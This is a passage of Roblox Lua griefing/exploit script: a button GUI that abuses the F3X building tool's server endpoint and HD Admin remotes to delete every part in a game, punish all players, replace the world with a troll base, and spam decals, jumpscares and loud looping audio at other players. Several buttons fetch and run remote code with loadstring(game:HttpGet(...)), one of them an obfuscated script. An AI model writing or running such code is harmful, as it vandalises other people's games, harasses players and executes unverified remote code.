[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Sparkles"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
end)
shed.Name = "shed"
shed.Parent = TextLabel_4
shed.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
shed.BorderColor3 = Color3.fromRGB(0, 53, 11)
shed.Position = UDim2.new(0.405427098, 0, -22.9285717, 0)
shed.Size = UDim2.new(0, 97, 0, 39)
shed.Font = Enum.Font.SourceSans
shed.Text = "Shedletsky"
shed.TextColor3 = Color3.fromRGB(255, 255, 255)
shed.TextScaled = true
shed.TextSize = 14.000
shed.TextWrapped = true
shed.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7000, 7000, 7000))
SetLocked(v,true)
end
end
end
Sky("172423468")
end)
avatar.Name = "avatar"
avatar.Parent = TextLabel_4
avatar.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
avatar.BorderColor3 = Color3.fromRGB(0, 53, 11)
avatar.Position = UDim2.new(-0.229823396, 0, -17.8571434, 75)
avatar.Size = UDim2.new(0, 99, 0, 39)
avatar.Font = Enum.Font.SourceSans
avatar.Text = "Avatars"
avatar.TextColor3 = Color3.fromRGB(255, 255, 255)
avatar.TextScaled = true
avatar.TextSize = 14.000
avatar.TextWrapped = true
avatar.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";Char me k00pkiddalt")
end)
avatar_2.Name = "avatar"
avatar_2.Parent = TextLabel_4
avatar_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
avatar_2.BorderColor3 = Color3.fromRGB(0, 53, 11)
avatar_2.Position = UDim2.new(0.387823671, 0, -17.8571434, 75)
avatar_2.Size = UDim2.new(0, 99, 0, 74)
avatar_2.Font = Enum.Font.SourceSans
avatar_2.Text = "Realm"
avatar_2.TextColor3 = Color3.fromRGB(255, 255, 255)
avatar_2.TextScaled = true
avatar_2.TextSize = 14.000
avatar_2.TextWrapped = true
avatar_2.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools me")
wait(0.4)
RequestCommand:InvokeServer(";punish all")
wait(0.1)
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function deleteall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
delete(v)
end)
end
end
end
deleteall()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";fogcolor black ;time")
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmaterial(part,mate,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function transparency(part,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = trans
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshid(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makemesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshsize(part, vectora)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = vectora
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshtexture(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function name(part, stringa)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringa
}
serverendpoint:InvokeServer(unpack(args))
end
local function lock(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
serverendpoint:InvokeServer(unpack(args))
end
local function setcollision(part, booleana)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = booleana
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setanchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function createdecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setdecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makerealmbase()
local position = CFrame.new(0, 5, 0)
local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
resize(base, Vector3.new(512, 16, 512), position)
syncmaterial(base, Enum.Material.Concrete)
color(base, Color3.new(0.513725, 0.513725, 0.513725))
name(base, "loltroll")
lock(base, true)
local spawnpos = CFrame.new(34.5, 8.1, -26)
local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace)
resize(spawna, Vector3.new(20, 10, 20), spawnpos)
name(spawna, "SpawnLocation")
lock(spawna, true)
createdecal(spawna, Enum.NormalId.Top)
setdecal(spawna, "12165709661", Enum.NormalId.Top)
transparency(spawna, 1)
local pos = CFrame.new(74.143, 24, -25.232)
local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)
transparency(rules, 0)
setcollision(rules, false)
createdecal(rules, Enum.NormalId.Left)
setdecal(rules, "103516240291943", Enum.NormalId.Left)
color(rules, Color3.new(1, 1, 1))
resize(rules, Vector3.new(4, 23, 37), pos)
local pos = CFrame.new(1.143, 24, -25.232)
local bad = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)
transparency(bad, 1)
setcollision(bad, false)
createdecal(bad, Enum.NormalId.Right)
setdecal(bad, "12165709661", Enum.NormalId.Right)
resize(bad, Vector3.new(4, 23, 37), pos)
end
local function sky()
local position = CFrame.new(0, 5, 0)
local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
makemesh(sky)
syncmeshid(sky, "111891702759441")
syncmeshtexture(sky, "9820931824")
syncmeshsize(sky, Vector3.new(20000, 20000, 20000))
lock(sky, true)
name(sky, "kn000pezzzzz")
setcollision(sky, false)
end
local function unanchorall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
setanchor(v, false)
end)
end
end
end
local function realm()
sky()
makerealmbase()
end
realm()
RequestCommand:InvokeServer(";res all")
wait(0.3)
RequestCommand:InvokeServer(";r6 all")
RequestCommand:InvokeServer(";time 12")
wait(8.9)
RequestCommand:InvokeServer(";music 1839246711 ;volume inf ;pitch 1.04")
end)
shut_3.Name = "shut"
shut_3.Parent = TextLabel_4
shut_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
shut_3.BorderColor3 = Color3.fromRGB(0, 53, 11)
shut_3.Position = UDim2.new(0.75, 0, -50.0718575, 0)
shut_3.Size = UDim2.new(0, 53, 0, 24)
shut_3.Font = Enum.Font.SourceSans
shut_3.Text = "Get F3X"
shut_3.TextColor3 = Color3.fromRGB(255, 255, 255)
shut_3.TextScaled = true
shut_3.TextSize = 14.000
shut_3.TextWrapped = true
shut_3.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";btools me")
end)
-- Scripts:
local function SCXOHP_fake_script() -- Frame.Dragify
local script = Instance.new('LocalScript', Frame)
function dragify(Main)
dragToggle = nil
dragSpeed = 0.95 -- You can edit this.
dragInput = nil
dragStart = nil
dragPos = nil
function updateInput(input)
Delta = input.Position - dragStart
Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
game:GetService("TweenService"):Create(Main, TweenInfo.new(.25), {Position = Position}):Play()
end
Main.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = Main.Position
input.Changed:Connect(function()
if (input.UserInputState == Enum.UserInputState.End) then
dragToggle = false
end
end)
end
end)
Main.InputChanged:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
dragInput = input
end
end)
game:GetService("UserInputService").InputChanged:Connect(function(input)
if (input == dragInput and dragToggle) then
updateInput(input)
end
end)
end
dragify(script.Parent)
end
coroutine.wrap(SCXOHP_fake_script)()
end,
})
local Button = MainTab:CreateButton({
Name = "c00lexecutor v1",
Callback = function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-C00lkidd-executor-54363"))()
end,
})
local Button = MainTab:CreateButton({
Name = "c00lexecutor 2025",
Callback = function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-C00lkidd-executor-2025-53088"))()
end,
})
local Button = MainTab:CreateButton({
Name = "insane script ( not fe tho )",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/wolvwe/wolvexdor-rebornv2/refs/heads/main/Obfuscated2"))()
end,
})
local Button = MainTab:CreateButton({
Name = "yes, other c00lgui",
Callback = function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local TextLabel = Instance.new("TextLabel")
local TextButton = Instance.new("TextButton")
local TextButton_2 = Instance.new("TextButton")
local TextButton_3 = Instance.new("TextButton")
local TextButton_4 = Instance.new("TextButton")
local TextButton_5 = Instance.new("TextButton")
local TextButton_6 = Instance.new("TextButton")
local TextButton_7 = Instance.new("TextButton")
local TextButton_8 = Instance.new("TextButton")
local ImageButton = Instance.new("ImageButton")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
ScreenGui.ResetOnSpawn = false
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderColor3 = Color3.fromRGB(170, 0, 0)
Frame.BorderSizePixel = 6
Frame.Position = UDim2.new(0.0200509224, 0, 0.0293350704, 0)
Frame.Size = UDim2.new(0, 361, 0, 391)
TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextLabel.BorderColor3 = Color3.fromRGB(170, 0, 0)
TextLabel.BorderSizePixel = 6
TextLabel.Position = UDim2.new(-0.0019811911, 0, 0.917844832, 0)
TextLabel.Size = UDim2.new(0, 361, 0, 32)
TextLabel.Font = Enum.Font.SourceSans
TextLabel.Text = "c00lkidd gamplay by 4x2x9x4x0"
TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.TextScaled = true
TextLabel.TextSize = 14.000
TextLabel.TextWrapped = true
TextButton.Parent = Frame
TextButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextButton.BorderColor3 = Color3.fromRGB(170, 0, 0)
TextButton.BorderSizePixel = 6
TextButton.Position = UDim2.new(0.0278564617, 0, 0.0261018556, 0)
TextButton.Size = UDim2.new(0, 145, 0, 38)
TextButton.Font = Enum.Font.SourceSans
TextButton.Text = "skybox"
TextButton.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton.TextScaled = true
TextButton.TextSize = 14.000
TextButton.TextWrapped = true
TextButton_2.Parent = Frame
TextButton_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextButton_2.BorderColor3 = Color3.fromRGB(170, 0, 0)
TextButton_2.BorderSizePixel = 6
TextButton_2.Position = UDim2.new(0.0278564617, 0, 0.176731125, 0)
TextButton_2.Size = UDim2.new(0, 145, 0, 38)
TextButton_2.Font = Enum.Font.SourceSans
TextButton_2.Text = "depals spam"
TextButton_2.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_2.TextScaled = true
TextButton_2.TextSize = 14.000
TextButton_2.TextWrapped = true
TextButton_3.Parent = Frame
TextButton_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextButton_3.BorderColor3 = Color3.fromRGB(170, 0, 0)
TextButton_3.BorderSizePixel = 6
TextButton_3.Position = UDim2.new(0.0278564617, 0, 0.326881856, 0)
TextButton_3.Size = UDim2.new(0, 145, 0, 38)
TextButton_3.Font = Enum.Font.SourceSans
TextButton_3.Text = "disco"
TextButton_3.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_3.TextScaled = true
TextButton_3.TextSize = 14.000
TextButton_3.TextWrapped = true
TextButton_4.Parent = Frame
TextButton_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextButton_4.BorderColor3 = Color3.fromRGB(170, 0, 0)
TextButton_4.BorderSizePixel = 6
TextButton_4.Position = UDim2.new(0.0278564617, 0, 0.474953622, 0)
TextButton_4.Size = UDim2.new(0, 145, 0, 38)
TextButton_4.Font = Enum.Font.SourceSans
TextButton_4.Text = "jumpscare"
TextButton_4.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_4.TextScaled = true
TextButton_4.TextSize = 14.000
TextButton_4.TextWrapped = true
TextButton_5.Parent = Frame
TextButton_5.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextButton_5.BorderColor3 = Color3.fromRGB(170, 0, 0)
TextButton_5.BorderSizePixel = 6
TextButton_5.Position = UDim2.new(0.0278564617, 0, 0.62398237, 0)
TextButton_5.Size = UDim2.new(0, 145, 0, 38)
TextButton_5.Font = Enum.Font.SourceSans
TextButton_5.Text = "message"
TextButton_5.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_5.TextScaled = true
TextButton_5.TextSize = 14.000
TextButton_5.TextWrapped = true
TextButton_6.Parent = Frame
TextButton_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextButton_6.BorderColor3 = Color3.fromRGB(170, 0, 0)
TextButton_6.BorderSizePixel = 6
TextButton_6.Position = UDim2.new(0.0278564617, 0, 0.764381528, 0)
TextButton_6.Size = UDim2.new(0, 145, 0, 38)
TextButton_6.Font = Enum.Font.SourceSans
TextButton_6.Text = "jumpstyle"
TextButton_6.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_6.TextScaled = true
TextButton_6.TextSize = 14.000
TextButton_6.TextWrapped = true
TextButton_7.Parent = Frame
TextButton_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextButton_7.BorderColor3 = Color3.fromRGB(170, 0, 0)
TextButton_7.BorderSizePixel = 6
TextButton_7.Position = UDim2.new(0.515391171, 0, 0.174279958, 0)
TextButton_7.Size = UDim2.new(0, 145, 0, 38)
TextButton_7.Font = Enum.Font.SourceSans
TextButton_7.Text = "won't stop us"
TextButton_7.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_7.TextScaled = true
TextButton_7.TextSize = 14.000
TextButton_7.TextWrapped = true
TextButton_8.Parent = Frame
TextButton_8.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
TextButton_8.BorderColor3 = Color3.fromRGB(170, 0, 0)
TextButton_8.BorderSizePixel = 6
TextButton_8.Position = UDim2.new(0.515391171, 0, 0.0256764442, 0)
TextButton_8.Size = UDim2.new(0, 145, 0, 38)
TextButton_8.Font = Enum.Font.SourceSans
TextButton_8.Text = "particle"
TextButton_8.TextColor3 = Color3.fromRGB(255, 255, 255)
TextButton_8.TextScaled = true
TextButton_8.TextSize = 14.000
TextButton_8.TextWrapped = true
ImageButton.Parent = Frame
ImageButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
ImageButton.BorderColor3 = Color3.fromRGB(170, 0, 0)
ImageButton.BorderSizePixel = 6
ImageButton.Position = UDim2.new(0.51800555, 0, 0.32480818, 0)
ImageButton.Size = UDim2.new(0, 156, 0, 216)
ImageButton.Image = "rbxassetid://158118263"
-- Scripts:
local function YGIJPK_fake_script() -- TextButton.Script
local script = Instance.new('Script', TextButton)
script.Parent.MouseButton1Down:Connect(function()
local ID = "http://www.roblox.com/asset/?id=158118263"
local Sky = Instance.new("Sky")
Sky.Parent = game.Lighting
Sky.Name = "NewSky"
Sky.MoonTextureId = ID
Sky.SkyboxBk = ID
Sky.SkyboxDn = ID
Sky.SkyboxFt = ID
Sky.SkyboxLf = ID
Sky.SkyboxRt = ID
Sky.SkyboxUp = ID
end)
end
coroutine.wrap(YGIJPK_fake_script)()
local function OXYAOR_fake_script() -- TextButton_2.Script
local script = Instance.new('Script', TextButton_2)
script.Parent.MouseButton1Down:Connect(function()
local _Workspace = game:GetService("Workspace")
local Surfaces = {"Front", "Back", "Left", "Right", "Top", "Bottom"}
local ID = "http://www.roblox.com/asset/?id=158118263"
for _, Part in pairs(_Workspace:GetDescendants()) do
if Part:IsA("BasePart") and Part.Name ~= "Camera" and Part.Name ~= "Terrain" then
for i = 1, #Surfaces do
local Decal = Instance.new("Decal")
Decal.Texture = ID
Decal.ZIndex = 10
Decal.Name = "Decal"..Surfaces[i]
Decal.Parent = Part
Decal.Face = Surfaces[i]
end
end
end
end)
end
coroutine.wrap(OXYAOR_fake_script)()
local function SJEOFN_fake_script() -- TextButton_3.Script
local script = Instance.new('Script', TextButton_3)
script.Parent.MouseButton1Down:connect(function()
while true do
game.Lighting.Ambient = Color3.new(math.random(), math.random(), math.random())
wait(.25)
end
end)
end
coroutine.wrap(SJEOFN_fake_script)()
local function MRLYQO_fake_script() -- TextButton_4.Script
local script = Instance.new('Script', TextButton_4)
script.Parent.MouseButton1Click:Connect(function()
for i,v in pairs(game.Players:GetPlayers()) do
if v.Name ~= me and not v.PlayerGui:FindFirstChild("Screamer") and v:FindFirstChild("PlayerGui") then
spawn(function()
local newgui = Instance.new("ScreenGui",v.PlayerGui)
newgui.Name = "W00N SCARE"
local newimage = Instance.new("ImageLabel",newgui)
newimage.Image = "http://www.roblox.com/asset/?id=158118263"
newimage.Size = UDim2.new(1,1,1,1)
local s = Instance.new("Sound",newgui)
s.Name = "h4x3d_by_redz!"
s.SoundId = "rbxassetid://6821054463"
s.Volume = 2
s.Looped = true
s:Play()
print("Screamed "..v.Name)
while wait(5.343) do
newimage.Parent:Destroy()
end
end)
end
end
end)
end
coroutine.wrap(MRLYQO_fake_script)()
local function CQXDMV_fake_script() -- TextButton_5.Script
local script = Instance.new('Script', TextButton_5)
script.Parent.MouseButton1Down:Connect(function()
wait(0)--set this to how much time between messages
msg = Instance.new ("Hint")
msg.Parent = game.Workspace
msg.Text = "TEAM"
wait(6)
msg:remove()
wait(3)
msg = Instance.new ("Hint")
msg.Parent = game.Workspace
msg.Text = "c00lkidd"
wait(6)
msg:remove()
wait(3)
msg = Instance.new ("Hint")
msg.Parent = game.Workspace
msg.Text = "JoIn"
wait(6)
msg:remove()
wait(3)
msg = Instance.new ("Hint")
msg.Parent = game.Workspace
msg.Text = "TODAY!!"
wait(6)
msg:remove()
wait(3)
end)
end
coroutine.wrap(CQXDMV_fake_script)()
local function WIEM_fake_script() -- TextButton_6.Script
local script = Instance.new('Script', TextButton_6)
script.Parent.MouseButton1Down:Connect(function()
--Made by Servano
local s = Instance.new("Sound")
s.Name = "Sound"
s.SoundId = "http://www.roblox.com/asset/?id=1839246711"
s.Volume = 9999
s.Pitch = 1
s.Looped = true
s.archivable = false
s.Parent = game.Workspace
wait(1)
s:play()
end)
end
coroutine.wrap(WIEM_fake_script)()
local function ZRWGK_fake_script() -- TextButton_7.Script
local script = Instance.new('Script', TextButton_7)
script.Parent.MouseButton1Down:Connect(function()
--Made by Servano
local s = Instance.new("Sound")
s.Name = "Sound"
s.SoundId = "http://www.roblox.com/asset/?id=1847661821"
s.Volume = 9999
s.Pitch = 1
s.Looped = true
s.archivable = false
s.Parent = game.Workspace
wait(1)
s:play()
end)
end
coroutine.wrap(ZRWGK_fake_script)()
local function JNVJVG_fake_script() -- TextButton_8.Script
local script = Instance.new('Script', TextButton_8)
script.Parent.MouseButton1Click:Connect(function()
t3 = "http://www.roblox.com/asset/?id=158118263"
local p = game.Players:GetChildren()
local w = game.Workspace:GetChildren()
for i,v in pairs(p) do
local pe = Instance.new("ParticleEmitter", v.Character.Head)
pe.Texture = t3
pe.VelocitySpread = 100
end
for _, Object in pairs(game.Workspace:GetChildren()) do
if Object.ClassName == "Part" or "Model" then
local fe = Instance.new("ParticleEmitter", Object)
fe.Texture = t3
end
end
end)
end
coroutine.wrap(JNVJVG_fake_script)()
local function IGBQGG_fake_script() -- ImageButton.Script
local script = Instance.new('Script', ImageButton)
script.Parent.MouseButton1Click:Connect(function()
game.Players.LocalPlayer:Kick("team c00lkidd join today!")
end)
end
coroutine.wrap(IGBQGG_fake_script)()
local function AHLNJ_fake_script() -- Frame.Script
local script = Instance.new('Script', Frame)
local UIS = game:GetService("UserInputService")
function dragify(Frame)
dragToggle = nil
local dragSpeed = 0
dragInput = nil
dragStart = nil
local dragPos = nil
function updateInput(input)
local Delta = input.Position - dragStart
local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.25), {Position = Position}):Play()
end
Frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) and UIS:GetFocusedTextBox() == nil then
dragToggle = true
dragStart = input.Position
startPos = Frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
Frame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
game:GetService("UserInputService").InputChanged:Connect(function(input)
if input == dragInput and dragToggle then
updateInput(input)
end
end)
end
dragify(script.Parent)
end
coroutine.wrap(AHLNJ_fake_script)()
end,
})
local Button = MainTab:CreateButton({
Name = "4x2x9x4x0 blue gui",
Callback = function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
-- 4x2x9x4x0 blue gui
-- by 4x2x9x4x0
--moonsec v3
